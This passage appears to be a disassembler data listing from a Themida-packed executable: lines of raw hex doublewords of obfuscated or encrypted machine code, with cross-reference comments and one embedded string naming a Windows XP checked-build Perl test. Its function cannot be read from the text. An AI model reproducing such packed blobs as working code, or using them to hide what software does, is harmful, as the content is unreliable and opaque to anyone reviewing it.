		dd 24448104h, 1804h, 0C3564600h, 85225059h, 1FE3819Fh
		dd 0FF651784h, 0E7F8A5B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 636A1269h
		dd 66BACB7Eh, 0A84BDF81h, 659D8960h, 6607E405h,	7366E981h
		dd 7D95FF61h, 8B07E402h, 0CE8FAh, 76470000h, 10104802h
		dd 0D6A00688h, 0FF5F5F38h, 0E7F8A5B5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0F97D91F5h, 177E178Dh, 0AE9h, 80053400h, 6FDDE8E0h
		dd 0FFCAEE4Ch, 0E4097195h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 6D794C30h
		dd 8166574Bh, 5FCE9AE7h, 0A21BD83h, 0F0207E4h, 7C84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0F60B0BDh, 8166D0BFh, 619665CEh, 0B3DB509h, 858B07E4h
		dd 7E41EB5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0BEC35141h, 53CD9A26h, 0C6C92061h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BDE3DC3h, 0E413E19Dh, 7185C707h, 7E426h, 66000000h
		dd 0E9A549BFh, 0FFFFF2F4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 80C35242h, 92C2DDEDh,	0DE9h, 0C8927E00h
		dd 637D83D3h, 0A93B9CFBh, 0BD8BD46Ch, 7E427B1h,	0DE8BC18Bh
		dd 11E8h, 5D07D300h, 119046D3h,	577A7C80h, 3AFA08BDh, 858B3DCEh
		dd 7E42C49h, 32C7815Fh,	8B000068h, 0E426AD9Dh, 6807h, 85310000h
		dd 7E426D9h, 8E95Ah, 0C6760000h, 4CF741CCh, 348B6496h
		dd 65958917h, 8107E405h, 0BF6FD3F6h, 6AEE8124h,	571A4CB8h
		dd 2B3016BBh, 0EE815924h, 17D7CDFAh, 96AFE8B8h,	10E8566Ah
		dd 0D7000000h, 0E26888E2h, 44890FA3h, 8E57E5D7h, 0FDB19B8h
		dd 388h, 0CBD58000h, 17048F5Bh,	9607BDBBh, 158D8B1Fh, 8107E426h
		dd 8BC304EAh, 1D8D8B58h, 8107E424h, 8BC300C2h, 8E858h
		db 2 dup(0)
word_5DA21A	dw 0F4D1h		; DATA XREF: Themida_:005838E8o
		dd 9F10DD5Bh, 9D8965B7h, 7E413EDh, 0B8FA8158h, 0FFFFF98h
		dd 1785h, 0A99D8B00h, 0E907E430h, 1Fh, 1201288Eh, 42FC67B2h
		dd 0BAFDA66Dh, 5BE9DF8Bh, 0FBFFFFFFh, 0AEAE21C0h, 248CB45Dh
		dd 8D06BC24h, 0E97E8C8Dh, 0AE95307h, 25000000h,	982FF8A3h
		dd 0C07830F4h, 0F2805F04h, 718D8952h, 6A07E41Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0A6EDC356h, 2DA185C7h, 714407E4h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C4F623C3h
		dd 5D8501B4h, 0C707E414h, 0E422B985h, 7, 9FACBE00h, 0B5FF102Eh
		dd 7E40919h, 356D9589h,	9D0907E4h, 7E41B49h, 306195FFh
		dd 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 4B66F8C3h, 95FF006Ah, 7E40E41h, 5EEBC08Bh
		dd 9D614602h, 4C2DDBF5h, 12C6E424h, 0E27DD0B1h,	64CE43E6h
		dd 6AB3EDE6h, 6B1210DAh, 0F671BA5h, 3DFC382Dh, 94ED015Dh
		dd 0D729D728h, 972A530h, 35D49FB7h, 661514D2h, 40B4B1CEh
		dd 764359Eh, 0F9C06354h, 5A69986Ah, 73BF51AEh, 775C70C7h
		dd 798CB7B0h, 3401722Dh, 30148F41h, 8D8D27D8h, 7E97F64h
		dd 0FD88B66h, 688h, 899D8B00h, 8907E423h, 0E41B718Dh, 45B58907h
		dd 0C707E400h, 0E42DA185h, 6F9C07h, 19890F00h, 0F000000h
		dd 1383h, 0EE900h, 58DC0000h, 0A9896A00h, 0EAAC3E32h, 0CEA425CCh
		dd 22B985C7h, 7E4h, 81660000h, 0FFA6ADC0h, 0E42BF1B5h
		dd 0D08B6607h, 306195FFh, 0B53107E4h, 7E40D35h,	95FF006Ah
		dd 7E40E41h, 1AEBC08Bh,	26C82F28h, 64ACA07Ch, 0B9962B5Ch
		dd 0BE4C9FDFh, 39203155h, 2E337FC0h, 2ADE9A59h,	46D4D471h
		dd 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh, 5AF19826h
		dd 1EEF5E26h, 60327C0Ah, 0E4FFB44Eh, 72F867A5h,	0BEA17C07h
		dd 0D4E33FA3h, 0BA796721h, 0D7F455A3h, 6ED71B21h, 33327C27h
		dd 33831D29h, 0B6C09826h, 344FE7B5h, 0B6D61576h, 63AE7159h
		dd 13190DD9h, 64839FC2h, 59359826h, 0A61F1523h,	634A7159h
		dd 4C231DABh, 0CC039FCFh, 0D7BA35B3h, 3C149321h, 336AA1A2h
		dd 0A6B01526h, 639D7159h, 334DAACEh, 0BEF6D826h, 0DA2C03A3h
		dd 0B624C821h, 343DE7B3h, 5AFF6776h, 0B0327C07h, 0B61794E2h
		dd 34A4E7B3h, 0B6231576h, 63547159h, 13640DD9h,	513D9FC2h
		dd 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh,	33A69824h
		dd 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh, 3335B2CFh
		dd 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh, 33A9982Ch
		dd 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h,	0FB4EC3D9h
		dd 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h, 37A8517Fh
		dd 0B0881526h, 0BE9D7159h, 0DACD20ABh, 932021h,	0FC780000h
		dd 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h,	0B8B58DFFh
		dd 8D07E980h, 0E980D78Dh, 83CF2B07h, 0C88B05E9h, 13E8h
		dd 0E75B7600h, 0F4BBC2FCh, 7528F235h, 15ABBBB7h, 7D69B573h
		dd 95895BF5h, 7E420E5h,	7157C381h, 9D010000h, 7E414E9h
		dd 0BAh, 1A34FF00h, 1471858Bh, 0F85E07E4h, 7FDEE81h, 0F6816488h
		dd 3DB85D4Dh, 19820Fh, 14E90000h, 43000000h, 0D949A581h
		dd 0CF9004ADh, 98BDE702h, 3F492312h, 8168B2EDh,	47BBBBC6h
		dd 3FD48041h, 0F5133489h, 0E904EA83h, 10h, 563FACA9h, 0EC083FBEh
		dd 0E48F91F7h, 68CADC83h, 8F68FA81h, 850FFFFFh,	1Dh, 13B1BD01h
		dd 25E907E4h, 71000000h, 0CFCE9C80h, 41B74BD0h,	0B863CCA8h
		dd 8D923594h, 0FDB58942h, 0E907E42Fh, 0FFFFFF71h, 0D8E835CAh
		dd 80008EEFh, 823F8D8Dh, 0BA6607E9h, 8D896A68h,	7E41B71h
		dd 2850Fh, 0ECB40000h, 53DB58Bh, 85C707E4h, 7E42DA1h, 5D54h
		dd 87C38166h, 0B985C742h, 7E422h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 5D15C351h, 0B5FF8EA9h, 7E40919h, 14E8h, 0C9A41E00h
		dd 5D0D268Bh, 4B13ED1h,	0E2184FA4h, 92EA333h, 0CE97Bh
		dd 0C890000h, 0A686D859h, 0BBDBFB80h, 0FF58494Fh, 0E4306195h
		dd 0D6BF6607h, 0A5F081E4h, 6A3DA6EEh, 4195FF00h, 8B07E40Eh
		dd 185EEBC0h, 215A2Ah, 0B9D15E9Dh, 0ED057B10h, 116D8F10h
		dd 29B0C9DBh, 0B559B3CAh, 0A9527617h, 809BEA95h, 43F6AA6h
		dd 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh,	1E08F1F3h
		dd 7C58283Fh, 0F7426E92h, 0F8078817h, 6EC51083h, 98D91AF3h
		dd 9775086Eh, 48027647h, 6881010h, 5F38D6A0h, 0A68D8D36h
		dd 6A07E983h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0D85FC350h, 41DB89DCh,	0D08B6664h
		dd 0CB99BF66h, 1B718D89h, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 9FA87AC3h, 47170C9Fh
		dd 0A185C7F6h, 2C07E42Dh, 6A000067h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8C74C356h
		dd 0BDB03C64h, 22B985C7h, 7E4h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3E1A46C3h
		dd 60A6BCC4h, 0B560EB0h, 0E4070DB5h, 51615807h,	0B5FF5BF5h
		dd 7E42291h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	6DC35646h, 1648A8EDh, 0FE22E1Ah, 68Ah, 0DDBD8B00h
		dd 0FF07E402h, 0E4306195h, 259CBE07h, 6A43A0h, 0E4195FFh
		dd 0C08B07E4h, 0B1296FEBh, 6D69C59Dh, 7746807Bh, 271B65EAh
		dd 124FBEE6h, 0CC5CB780h, 0CD110717h, 3E4F9AD8h, 24B89327h
		dd 8A1F0C0h, 0E87602Eh,	747CBA3Ah, 1B797235h, 800D1BDBh
		dd 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h, 0FCE75B76h, 35F4BBC2h
		dd 0B77528F2h, 7315ABBBh, 417D69B5h, 4CE2F3B6h,	0D2368F93h
		dd 134FA557h, 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 0EC8A52F8h
		dd 97F4D9B8h, 0F0127D8Eh, 1D744634h, 1D349EB0h,	600196D7h
		dd 9F52982Ah, 1002DCF3h, 91883233h, 13E50D4Ah, 0FDF111BEh
		dd 0C7FE41D5h, 0A9827B68h, 13E59806h, 4416BC33h, 1002DC60h
		dd 91883233h, 13E50D4Ah, 0F2DE11BEh, 0C7FE41D5h, 146B7B68h
		dd 14027966h, 4921C833h, 788839F0h, 50803617h, 14151D17h
		dd 41448C33h, 9108AAF0h, 13E530CAh, 17DC0CB8h, 0A988CFD7h
		dd 13E5694Ah, 146BF2B8h, 1402F161h, 4E218C33h, 40881CF0h
		dd 50802717h, 14169517h, 4643C833h, 50D6F9F0h, 0CC8D54A6h
		dd 0FC561959h, 14018C30h, 4BC21913h, 10255FBAh,	1025D5B2h
		dd 1401C829h, 70C23374h, 0EB40B629h, 89885EA8h,	13E58EEAh
		dd 900E429Bh, 140120B5h, 95004B8h, 0A982CFD7h, 13E56A1Eh
		dd 47853D33h, 7E011933h, 17E9DB33h, 34014633h, 9D5EE06Ch
		dd 9505B54Fh, 0F05EC77h, 53016433h, 453FF164h, 1CAAC95Ch
		dd 8122D33Bh, 13E54CB6h, 140266DAh, 4101FB33h, 1401CBDBh
		dd 0D75C4433h, 306DBB6Eh, 30459837h, 14019137h,	0D7540333h
		dd 166C0558h, 63230B7Eh, 14BF3915h, 9F036414h, 0F01B2FAEh
		dd 4849434h, 7E066BFFh,	17E91433h, 34012333h, 9D5B5269h
		dd 9505EC67h, 1054077h,	56013233h, 90ABDA61h, 0CF011BAh
		dd 0EBF941D7h, 91FFA8E3h, 0A6859EF3h
		dd 7E01C833h, 17E93233h, 34013233h, 9D5FDA6Dh, 9505A847h
		dd 3056277h, 52012333h,	5BE85265h, 0FB80D824h, 26D24A8Dh
		dd 95D08D3Ch, 95674E0Bh, 238483C8h, 7E014633h, 17E97133h
		dd 34019133h, 9D5B0B69h, 95054067h, 1051677h, 56011933h
		dd 4E9F4F61h, 3620DB10h, 956724D7h, 1603954Bh, 16C14C3Ch
		dd 930E6433h, 14013231h, 9567ECB9h, 1B61100Bh, 14017AB6h
		dd 128E2C33h, 9D019133h, 0F005C5AEh, 1679E434h,	32843DDBh
		dd 72011933h, 956772B8h, 0BF01404Bh, 1416A63Ch,	0A1889133h
		dd 13E5D6FAh, 140319DAh, 12883D33h, 9D011933h, 0F00BA1A6h
		dd 1501F834h, 146B6532h, 14027966h, 4921C833h, 788839F0h
		dd 50803617h, 141D1D17h, 41448C33h, 4DFA48F0h, 0E980085Eh
		dd 6E88888h, 0B01C833h,	843FAA0Eh, 2030338Ah, 0B21FE802h
		dd 0F5C5651Bh, 219CCF4Eh, 9906C739h, 0F3CD81B6h, 0D18C4334h
		dd 0EB068024h, 450158E3h, 14011ADBh, 0D758AC33h, 304DCF6Ah
		dd 3045A237h, 14018637h, 0D7508933h, 2CECD929h,	8786D0B2h
		dd 47B20346h, 900E4CB6h, 14014799h, 0FC512359h,	14019130h
		dd 4CC29013h, 102520BAh, 102576B2h, 14011928h, 7DC2DC73h
		dd 656CA97Eh, 1530C283h, 0F0123886h, 72394934h,	1B03660Eh
		dd 14017BB6h, 45017333h, 14018FDBh, 0D7586633h,	304DAA6Ah
		dd 30451037h, 1401D237h, 0D7502533h, 0FC6386F8h, 0FC1D057Ch
		dd 14018C38h, 0ABDD0034h, 0BA23F867h, 1B8CF91Ah, 955A198Ch
		dd 2967624Bh, 900E486Ch, 14011845h, 6683138h, 956741D7h
		dd 1B61BF0Bh, 1401B9B6h, 6C813433h, 910E8C31h, 1401322Eh
		dd 72D0A63Ch, 1407F4B2h, 1A8449F3h, 9D012333h, 0F01270A6h
		dd 15412134h, 0D6816433h, 15018C8Eh, 0CB816732h, 4840124h
		dd 1B06A1FFh, 140126B7h, 0BAAA2833h, 0C4FEFDEAh, 3AA8F102h
		dd 0D48435D7h, 14D19D3Ch, 9A0E8C33h, 14014635h,	3238B6B8h
		dd 2C8196D7h, 5784C7DBh, 95016433h, 2725C8E0h, 11799955h
		dd 27848340h, 7E014633h, 17E97233h, 34019133h, 9D580B6Ah
		dd 9505407Fh, 0F051677h, 55011933h, 95284F62h, 90613360h
		dd 6C813464h, 900EC234h, 1401C8F1h, 17E8F110h, 956735D7h
		dd 1B04960Bh, 1401E1B6h, 45012C33h, 140120DBh, 0D758B133h
		dd 304D416Ah, 3045E537h, 14012437h, 0D7505833h,	1B59F908h
		dd 6C818C8Ch, 910E4B35h, 14019171h, 3F7C45B8h, 956763D7h
		dd 31FE394Bh, 14319C3Ch, 146B8C33h, 1402AE63h, 4C212333h
		dd 5088C9F0h, 5080CC17h, 141D6017h, 44413233h, 6004E9F0h
		dd 0B664D76Fh, 0AB0E9CA4h, 1449CAEBh, 0AD679133h, 0D42AA474h
		dd 0AC17D753h, 474AF2CAh, 1446F052h, 146B8C33h,	1402AE64h
		dd 4B212333h, 6888CEF0h, 5080CC17h, 14186017h, 43463233h
		dd 0A81C70F0h, 745E0E7Ah, 13ACF3B8h, 956724D7h,	75A100F9h
		dd 36987DBAh, 15B963D7h, 1B013233h, 140111B1h, 168F8333h
		dd 9E014633h, 1B61B3C6h, 140191B1h, 8451A933h, 0FC506459h
		dd 14013230h, 4DC24013h, 1025C0BAh, 102502B2h, 14012328h
		dd 20C2C072h, 5EB9C1DEh, 0E113A59Dh, 901B8FBEh,	998C1EDAh
		dd 13E80526h, 7254658Bh, 0B5842044h, 3F06752Dh,	15018CFCh
		dd 0CB816732h, 4840124h, 1B06A1FFh, 140126B7h, 0BAAA2833h
		dd 0C4FEFDEAh, 0F305E983h, 0BD8958A4h, 7E42EE1h, 60CA8B66h
		dd 0C59D8B56h, 5B07E405h, 61C6BF0Fh, 840FC00Bh,	7Bh, 14E8h
		dd 872E7900h, 0C02062FCh, 5CD8DF1Ch, 929218DFh,	0D7E19ED4h
		dd 0F99589B8h, 5F07E41Dh, 4FE7B58Dh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BEBB98C3h
		dd 0B340BC64h, 3B8DDh, 0CE90000h, 0F1000000h, 0F81E2B24h
		dd 61E6B0E0h, 0E93F103Dh, 0Fh, 0BBF590Dh, 0EF26CDBFh, 81146E4Ch
		dd 0FF208290h, 58D8BE6h, 4007E42Bh, 6CA6C381h, 0C08B3322h
		dd 83CF8B66h, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h
		dd 8B535019h, 403B8C0h,	85890000h, 7E40EEDh, 0EA579D8Dh
		dd 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h,	403B853h
		dd 85890000h, 7E40EEDh,	0E6F89D8Dh, 0D3FF07E6h,	890F585Bh
		dd 6, 20358D89h, 6A07E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 3A15C0C3h, 0F666CD7Fh
		dd 8B665221h, 0C08B5BFBh, 0BF0F5F52h, 12E861CFh, 5C000000h
		dd 3E5C69F2h, 0EF8B8016h, 0B3E47FDBh, 2FD0B3h, 9E99Bh
		dd 9CF50000h, 70FB772Dh, 5BCCE960h, 81C3BF0Fh, 635EC3h
		dd 0F78B6600h, 88BE32B9h, 81E98165h, 666588A5h,	33FFC18Bh
		dd 5AD48FB8h, 9D895A1Fh, 7E42DFDh, 5F0AF281h, 8A0F55C2h
		dd 7, 36B8BF56h, 81584C4Dh, 0DBFDEAEAh,	10E96Eh, 0D1060000h
		dd 4C20BEF1h, 0BED4F249h, 0AC19E3ADh, 0EA81980Fh, 336CAD1Ah
		dd 5AEDBE66h, 0EB831389h, 5DB58B01h, 4B07E430h,	0E9834B4Bh
		dd 0A3850F01h, 23FFFFFFh, 0E42A2DB5h
		db 7
byte_5DAF8D	db 0E8h, 0Fh, 0		; DATA XREF: Themida_:00585288o
		dd 0B19F0000h, 0AB30DDBBh, 0F8DE3428h, 6D46C620h, 0FD9D8B22h
		dd 5E07E40Dh, 0C681D68Bh, 6343h, 0ABB8D58Ah, 0E9000018h
		dd 12h,	9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh
		dd 36FF57E5h, 0EF18589h, 0F5F07E4h, 0C781D0B7h,	7F481B8Ch
		dd 0C78107B1h, 0B8F7F22h, 0EF81CF8Bh, 2786B6E9h, 12E8h
		db 0
byte_5DAFF5	db 0Dh,	72h, 21h	; DATA XREF: Themida_:005825B0o
		dd 0F2D6DA28h, 0EA53200Bh, 1BA9B049h, 0B1030C6Bh, 3E895BEDh
		dd 85A7C981h, 0EE834CF8h, 1DB96603h, 8D8B4EAAh,	7E40279h
		dd 0F01E883h, 0FFFFA585h, 96BA66FFh, 24786CB6h,	2411EE57h
		dd 7A320301h, 509BDFC2h, 6093C425h, 240E6425h, 72543001h
		dd 82EB9CC2h, 0FF760540h, 0B99B4CD3h, 23F60224h, 0CCCA0D67h
		dd 2412C012h, 7E6377E7h, 5D824E27h, 0C0DE63E8h,	0A5E0482Fh
		dd 0AF88D3C7h, 0C031D29Ch, 20BADE06h, 263C440Eh, 24786001h
		dd 2411D854h, 79321801h, 489B51C2h, 60930225h, 240A0725h
		dd 71578101h, 0A4AE1EC2h, 0C6928530h, 9AFB3C6h,	2415FC0Fh
		dd 2436880Eh, 0B9990601h, 23F6005Ch, 1B148Ah, 0C9FBC7E5h
		dd 0CD126000h, 2412300Fh, 0CFB5C710h, 773D756Fh, 98CEE4Ah
		dd 73421810h, 0CF523F67h, 16495Bh, 0F7F588h, 251D37E5h
		dd 2DEC3C4Dh, 0C00F418Ch, 24785E06h, 2411EB56h,	7B328101h
		dd 589B9FC2h, 60936425h, 24053425h, 73551801h, 92D103C2h
		dd 0E491FE3Ch, 7212692Dh, 241282E9h, 0E74CE001h, 66E95Fh
		dd 56B105h, 24120C05h, 0E7444A01h, 0AF1A8D2Bh, 6C9965D6h
		dd 7512EBFDh, 2412C3E9h, 0E74B4001h, 5EB958h, 569905h
		dd 24121705h, 0E7434701h, 0B248C227h, 4D8A50Bh,	2412CAE9h
		dd 6F659D01h, 505C305Dh, 0AF3D198Eh, 0C03E3D94h, 0A5745D06h
		dd 2BED3538h, 24125685h, 7612AA01h, 241263E9h, 0E7481001h
		dd 46915Bh, 568D05h, 24121E05h,	0E7404101h, 13550FADh
		dd 2297CF4Dh, 2D126001h, 0C00D9994h, 2DD39B06h,	241209E8h
		dd 79DE6401h, 1D92B95Bh, 0D5978EE8h, 4E12C001h,	27FA3201h
		dd 4123001h, 0AD48DB5Bh, 0A5162855h, 38162245h,	66120301h
		dd 0FCFB4253h, 7725B4B7h, 0AF68CF52h, 0A81D3140h, 24121801h
		dd 0F9C5E380h, 0EC111269h, 0CC41036Bh, 24128102h, 7FD19B21h
		dd 20363C88h, 20367480h, 24121815h, 60D15F42h, 24CF8388h
		dd 0E59104E5h, 7212EB04h, 2412C3E9h, 0E74C4001h, 66B95Fh
		dd 569905h, 24121405h, 0E7444001h, 0C9EC4C5Bh, 0F599E73Ah
		dd 6F82F980h, 0A11DEB42h, 24123069h, 5A0CEF80h,	913B3491h
		dd 23F62A24h, 6BF58E8Ch, 0B12386E5h, 23F6D5D8h,	241263B9h
		dd 77125A01h, 24121BE9h, 0E7492C01h, 4E8F5Ah, 568205h
		dd 24129605h, 0E7418301h, 0B348D878h, 2414BF0Eh, 0A93B1801h
		dd 23F610FCh, 241209E9h, 0F1FEA501h, 0A50DE0F9h, 0ABF88168h
		dd 0D8DD4A26h, 7BE5BB67h, 919BF9FEh, 23F612FCh,	241FEE60h
		dd 0DE120301h, 3DA258C3h, 9AB2DE22h, 939C9140h,	999F6AD0h
		dd 23FB93A3h, 0AA45818Ch, 50AA01E8h, 17139182h,	0C0208084h
		dd 0E5DDEB06h, 24786CE8h, 2411EE57h, 7A320301h,	509BDFC2h
		dd 6093C425h, 240E6425h, 0E9833001h, 8BA4F305h,	895053C0h
		dd 0E420AD8Dh, 6A5A5B07h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 3B97C350h, 5A51111Ah
		dd 1D198D29h, 0C38B07E4h, 8F698D8Dh, 8B6607E9h,	718D89DAh
		dd 3107E41Bh, 0E405F985h, 0A185C707h, 2407E42Dh, 6A000064h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0C663C351h, 699D8BD7h, 2307E41Bh,	0E42571BDh
		dd 0B985C707h, 7E422h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5322C353h
		dd 0F6AC66Ch, 682h, 71B58B00h, 0FF07E403h, 0E41E15B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 601A085Dh, 8BF564F3h, 0E41F0995h, 6195FF07h
		dd 0B07E430h, 0E431CDBDh, 0FF006A07h, 0E40E4195h, 0EBC08B07h
		dd 43A70779h, 0DDF04C19h, 60D167h, 5EFA64A2h, 9068D610h
		dd 5501F5A3h, 0EE8DBEAh, 248726B5h, 83019BF1h, 4AC79DABh
		dd 648DF453h, 42D090DFh, 0F92C04F9h, 0D3CE78BEh, 0DE486089h
		dd 661A5E24h, 0D5071B85h, 170AFBA1h, 390ADD25h,	0E52BE12Ah
		dd 86E82363h, 7C2D4B36h, 0E0055411h, 0F6997C7h,	0B7F887Fh
		dd 721E65FFh, 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 0A6979ED2h
		dd 9D8D8DC7h, 7E407B9h,	0CEB8h,	39858900h, 0E807E40Bh
		dd 0
		dd 0D0558h, 3890000h, 0CEE9h
		db 0
byte_5DB495	db 2 dup(0), 0F2h	; DATA XREF: Themida_:00582C44o
		dd 32h dup(0F2000076h),	8DFFFF76h, 0E991BF8Dh, 13E907h
		dd 0C7B90000h, 23D3E866h, 25A8A0D8h, 48CABCC8h,	0C3CCB28h
		dd 896BB682h, 0E41B718Dh, 9DBD8B07h, 0C707E408h, 0E42DA185h
		dd 581007h, 0D7EF8000h,	22B985C7h, 7E4h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0C8157EC3h, 0E9B9188Ch, 11h,	79F50B0Dh, 7B73B324h, 0A1A0A75Eh
		dd 61527ED8h, 91B58971h, 6007E431h, 8A19531h, 61FC07E4h
		dd 635B5FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0ADEF0DC3h, 14F18589h, 95FF07E4h
		dd 7E43061h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0F0C35545h, 130CDBCEh, 0C5858B39h, 6A07E41Ch, 4195FF00h
		dd 8B07E40Eh, 828EBC0h,	0EB5660Ah, 394770F8h, 60413F4Dh
		dd 0B0F1EB90h, 1792E761h, 0F0172F7Dh, 68F091BEh, 74699AFAh
		dd 0F11B980h, 0E90C8437h, 99h, 5346B52Eh, 646E6957h, 2073776Fh
		dd 43205058h, 6B636568h, 42206465h, 646C6975h, 766E4520h
		dd 6E6F7269h, 746E656Dh, 70202D20h, 206C7265h, 74736574h
		dd 6C702Eh, 18h	dup(0)
		dd 100CE900h, 42680000h, 0E907E994h, 0FFFBCC21h, 0E9955968h
		dd 0CC17E907h, 4D68FFFBh, 0E907E997h, 0FFFBCC0Dh, 0E9978C68h
		dd 0CC03E907h, 6068FFFBh, 0E907E998h, 0FFFBCBF9h, 0E998FC68h
		dd 0CBEFE907h, 2368FFFBh, 0E907E99Dh, 0FFFBCBE5h, 0E99FE368h
		dd 0CBDBE907h, 1768FFFBh, 0E907E9A1h, 0FFFBCBD1h, 8DC098C2h
		dd 4275E178h, 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h
		dd 0F56277AAh, 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FF20ABDBh
		dd 0FBFCB023h, 8ED27CD9h, 6194BA9Bh, 0FB4F04EBh, 0A8BECAh
		dd 68B2FB57h, 0F9A34285h, 9DB86523h, 0D11A6DB1h, 0A16A9E8Dh
		dd 6CED23F9h, 0A1D606E9h, 0C6D323F9h, 981B397Dh, 0C5E9EE13h
		dd 3D17412Ah, 0FB54EFF9h, 58F78A8Eh, 5E0D5C0Ch,	0B8EF015Ah
		dd 351F3952h, 0E7D9B721h, 0F9FED404h, 83CCD923h, 20B252h
		dd 0E6B10000h, 9B7EC8C0h, 23F9979Ch, 3F2E727Fh,	23F9980Bh
		dd 0F36FE073h, 5A5EAABBh, 0F3C0h, 7CD9BF00h, 533A8ED2h
		dd 0A5ADAA00h, 41122B5Ch, 0B14F803Eh, 9599ADA7h, 7CDDC617h
		dd 0FA4396DAh, 0BC92C3B6h, 173D2478h, 6D9EF135h, 694C0154h
		dd 1C15B039h, 17402936h, 5BA4F73Bh, 72E2C911h, 5E4396DAh
		dd 1C15B02Eh, 0A3A1D2Bh, 0F1C15B0h, 2588B902h, 15B4AF14h
		dd 17371E1Ch, 0C886CFE4h, 0F1BF977Eh, 52A5E963h, 4172C509h
		dd 0C9C1E7CDh, 0C7E19C7Fh, 0D1E323F9h, 3015FA3Fh, 99306187h
		dd 3F51598Ch, 0C206E933h, 0E72BE121h, 0EC351D3Ah, 0B298BBA2h
		dd 3522097Fh, 80D3EC1Dh, 9D44D8CAh, 2C50C2A6h, 0DBB2Fh
		dd 193F1B00h, 0CE88D1E6h, 7ECE869Bh, 3222364Bh,	0E169EAFFh
		dd 0C517AAEh, 0BBD00347h, 6E83B69Ch, 203568E8h,	81E61935h
		dd 23043417h, 550923FFh, 0D07AD954h, 0FF573E86h, 0D5BA0D51h
		dd 1C158EA5h, 0A1B49DAAh, 4197CADh, 4FCAFD51h, 7EC8C0E6h
		dd 5094C297h, 6F52CCFDh, 23F99870h, 0EDD41E2Bh,	51A4E86Ah
		dd 89BDAC20h, 0C23F997h, 0CFC2064Ah, 77E0C987h,	1D6297DBh
		dd 7D515532h, 6192C296h, 72592728h, 0A03869E1h,	5A5EAAC8h
		dd 0C76Fh, 7CD96E00h, 0B89B8ED2h, 8E7EAE91h, 0CE7B1C15h
		dd 367FC888h, 9EB79EF2h, 0DC796CB0h, 92DB2E72h,	93E74C61h
		dd 6FE61C15h, 0BE97ACDFh, 40664C90h, 0EECFE48h,	4DF884D6h
		dd 2C75DF79h, 0E39E81FBh, 0E523FA88h, 0B2F656FEh, 8A972E5Fh
		dd 31394F57h, 67AF04E7h, 53002BE1h, 0B3064A00h,	83C78FCAh
		dd 0B69DE730h, 99C9AC9Dh, 961C17A2h, 970D4089h,	4C0CA8B0h
		dd 2871C408h, 0D575DEF7h, 0A6C92FE3h, 322F53C2h, 0CA4h
		dd 0FD302832h, 0B2E571E8h, 6295B79Dh, 16490B4Dh, 0C5F85201h
		dd 30232A91h, 85D2E71Ah, 0D1859ACDh, 1E374C7Fh,	2E98FD30h
		dd 0FF241B4Bh, 6B6C2023h, 9DD07AD9h, 3D194027h,	5C75A6F9h
		dd 0A72255F9h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 4E7E61A9h
		dd 4B1C158Fh, 39FDD373h, 0BC05AD54h, 129F768Bh,	0FF0C23FAh
		dd 1198CCBBh, 6D0023FAh, 20D686E2h, 7555A5Eh, 54000000h
		dd 8DFCFh, 0C0E6D400h, 53367EC8h, 1C158F23h, 0BD685028h
		dd 0F940585Eh, 22057FB0h, 23FA1117h, 0CEFEE129h, 0CB23F9FEh
		dd 1EF68DBEh, 0FF00B58Ah, 1E3720E3h, 0B69DE730h, 0A4610A0h
